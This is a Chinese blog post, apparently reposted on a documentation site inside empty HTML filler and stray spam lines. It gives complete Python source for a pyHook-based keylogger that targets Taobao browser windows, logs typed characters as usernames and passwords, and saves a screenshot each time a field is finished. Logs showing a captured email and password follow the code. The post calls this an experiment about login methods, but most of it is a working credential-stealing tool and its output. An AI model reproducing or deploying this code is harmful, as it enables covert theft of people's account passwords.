<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                在上一篇文章[《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性》](http://blog.csdn.net/dyx1024/article/details/7314275)中,通過日志記錄了一些可能是用戶輸入的用戶名或密碼等信息,但如果用戶在網站上輸入的是其他信息,我們從中區分出敏感信息還是要花費時間來分析的,剛才想了想,將功能優化了一下。 ### 一、思路: 1、在抓取到用戶輸入的信息后,除了記錄到日志中外,再給當前屏幕截一張圖,以日期命名; 2、通過對于圖片名與日志中ERROR級別對應的時間點,就可以判斷內容是不是敏感信息; 3、之所以采用抓圖和日志結合的方法,是因為密碼在界面上不會顯示出來,圖片中看不到,必須結合日志,呵呵。 ### 二、實現: ~~~ #!/usr/bin/env python # -*- coding: utf-8 -*- import pythoncom import pyHook import time import logging import logging.config from PIL import ImageGrab #日志配置文件名 LOG_FILENAME = 'hook_logging.conf' #日志語句提示信息 LOG_CONTENT_NAME = 'taobao_input_msg' def log_init(log_config_filename, logname): ''' Function:日志模塊初始化函數 Input:log_config_filename:日志配置文件名 lognmae:每條日志前的提示語句 Output: logger author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-02-13 ''' logging.config.fileConfig(log_config_filename) logger = logging.getLogger(logname) return logger def onMouseEvent(event): ''' Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息, 將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼 框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣, 所以此處要判斷是否通過鼠標切換了輸入窗口 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if len(MSG) != 0: hook_logger.info('current page:%s' % event.WindowName) hook_logger.error('information:%s' % MSG) MSG = '' #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() pic.save('%s.png' % pic_name) #保存成為以日期命名的圖片 return True def onKeyboardEvent(event): "處理鍵盤事件" ''' Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入 因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見 的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來 結束輸入,此時要將信息記錄到日志中。 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if event.WindowName.decode('GBK').find(u"淘寶") != -1: if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key))) if (event.Ascii == 9) or (event.Ascii == 13): hook_logger.info('current page:%s' % event.WindowName) hook_logger.error('information:%s' % MSG) MSG = '' #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成為以日期命名的圖片 pic.save('%s.png' % pic_name) return True if __name__ == "__main__": ''' Function:獲取TAOBAO賬號及密碼,增加抓圖功能 Input:NONE Output: NONE author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' #打開日志文件 #初始化日志系統 hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) MSG = '' #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages() ~~~ ### 三、測試: 1、記錄下來的日志內容: ~~~ [2012-03-03 13:03:52,530 taobao_input_msg]INFO: ascii:105(I) [2012-03-03 13:03:53,342 taobao_input_msg]INFO: ascii:112(P) [2012-03-03 13:03:53,640 taobao_input_msg]INFO: ascii:104(H) [2012-03-03 13:03:54,608 taobao_input_msg]INFO: ascii:111(O) [2012-03-03 13:04:01,655 taobao_input_msg]INFO: ascii:110(N) [2012-03-03 13:04:01,921 taobao_input_msg]INFO: ascii:101(E) [2012-03-03 13:04:03,937 taobao_input_msg]INFO: ascii:52(4) [2012-03-03 13:04:04,358 taobao_input_msg]INFO: ascii:115(S) [2012-03-03 13:04:08,640 taobao_input_msg]INFO: current page:淘寶網 - 淘!我喜歡 - Google Chrome [2012-03-03 13:04:08,640 taobao_input_msg]ERROR: information:iphone4s [2012-03-03 13:04:27,187 taobao_input_msg]INFO: ascii:115(S) [2012-03-03 13:04:27,655 taobao_input_msg]INFO: ascii:111(O) [2012-03-03 13:04:28,217 taobao_input_msg]INFO: ascii:99(C) [2012-03-03 13:04:28,921 taobao_input_msg]INFO: ascii:114(R) [2012-03-03 13:04:29,155 taobao_input_msg]INFO: ascii:97(A) [2012-03-03 13:04:29,733 taobao_input_msg]INFO: ascii:116(T) [2012-03-03 13:04:29,983 taobao_input_msg]INFO: ascii:101(E) [2012-03-03 13:04:30,280 taobao_input_msg]INFO: ascii:115(S) [2012-03-03 13:04:31,828 taobao_input_msg]INFO: ascii:64(2) [2012-03-03 13:04:33,515 taobao_input_msg]INFO: ascii:103(G) [2012-03-03 13:04:34,187 taobao_input_msg]INFO: ascii:109(M) [2012-03-03 13:04:34,265 taobao_input_msg]INFO: ascii:97(A) [2012-03-03 13:04:34,421 taobao_input_msg]INFO: ascii:105(I) [2012-03-03 13:04:34,592 taobao_input_msg]INFO: ascii:108(L) [2012-03-03 13:04:35,030 taobao_input_msg]INFO: ascii:46(Oem_Period) [2012-03-03 13:04:35,217 taobao_input_msg]INFO: ascii:99(C) [2012-03-03 13:04:35,342 taobao_input_msg]INFO: ascii:111(O) [2012-03-03 13:04:35,515 taobao_input_msg]INFO: ascii:109(M) [2012-03-03 13:04:37,812 taobao_input_msg]INFO: current page:None [2012-03-03 13:04:37,812 taobao_input_msg]ERROR: information:socrates@gmail.com [2012-03-03 13:04:43,905 taobao_input_msg]INFO: ascii:57(9) [2012-03-03 13:04:44,171 taobao_input_msg]INFO: ascii:56(8) [2012-03-03 13:04:44,467 taobao_input_msg]INFO: ascii:55(7) [2012-03-03 13:04:44,780 taobao_input_msg]INFO: ascii:54(6) [2012-03-03 13:04:45,108 taobao_input_msg]INFO: ascii:53(5) [2012-03-03 13:04:45,437 taobao_input_msg]INFO: ascii:52(4) [2012-03-03 13:04:45,796 taobao_input_msg]INFO: ascii:51(3) [2012-03-03 13:04:46,437 taobao_input_msg]INFO: ascii:50(2) [2012-03-03 13:04:47,046 taobao_input_msg]INFO: ascii:49(1) [2012-03-03 13:04:52,375 taobao_input_msg]INFO: ascii:113(Q) [2012-03-03 13:04:52,765 taobao_input_msg]INFO: ascii:119(W) [2012-03-03 13:04:53,030 taobao_input_msg]INFO: ascii:101(E) [2012-03-03 13:04:53,328 taobao_input_msg]INFO: ascii:114(R) [2012-03-03 13:04:53,687 taobao_input_msg]INFO: ascii:116(T) [2012-03-03 13:04:56,640 taobao_input_msg]INFO: current page:None [2012-03-03 13:04:56,640 taobao_input_msg]ERROR: information:987654321qwert [2012-03-03 13:04:57,703 taobao_input_msg]INFO: ascii:106(J) [2012-03-03 13:04:58,155 taobao_input_msg]INFO: ascii:116(T) [2012-03-03 13:04:59,125 taobao_input_msg]INFO: ascii:54(6) [2012-03-03 13:05:00,328 taobao_input_msg]INFO: ascii:121(Y) [2012-03-03 13:05:02,578 taobao_input_msg]INFO: current page:None [2012-03-03 13:05:02,578 taobao_input_msg]ERROR: information:jt6y ~~~ 2、過濾出ERROR級別日志信息,如下: ~~~ [2012-03-03 13:04:08,640 taobao_input_msg]ERROR: information:iphone4s [2012-03-03 13:04:37,812 taobao_input_msg]ERROR: information:socrates@gmail.com [2012-03-03 13:04:56,640 taobao_input_msg]ERROR: information:987654321qwert [2012-03-03 13:05:02,578 taobao_input_msg]ERROR: information:jt6y ~~~ 3、查看生成的圖片: ![](https://box.kancloud.cn/2016-06-08_57579357a9410.gif) 可以看出,圖片名稱中的時間和日志中的時間一一對應,這樣就可查看每條日志打印時當前屏幕的狀態。 具體看一下每條日志對應的圖片: a.?[2012-03-03 13:04:08,640 ?taobao_input_msg]ERROR: ?information:iphone4s ![](https://box.kancloud.cn/2016-06-08_57579357cb196.gif) b.?[2012-03-03 13:04:37,812 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com ![](https://box.kancloud.cn/2016-06-08_57579357e9c64.gif) c.?[2012-03-03 13:04:56,640 ?taobao_input_msg]ERROR: ?information:987654321qwert ?(原來這行才是密碼) ![](https://box.kancloud.cn/2016-06-08_5757935811d55.gif) d [2012-03-03 13:05:02,578 ?taobao_input_msg]ERROR: ?information:jt6y ![](https://box.kancloud.cn/2016-06-08_575793582dd28.gif)
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看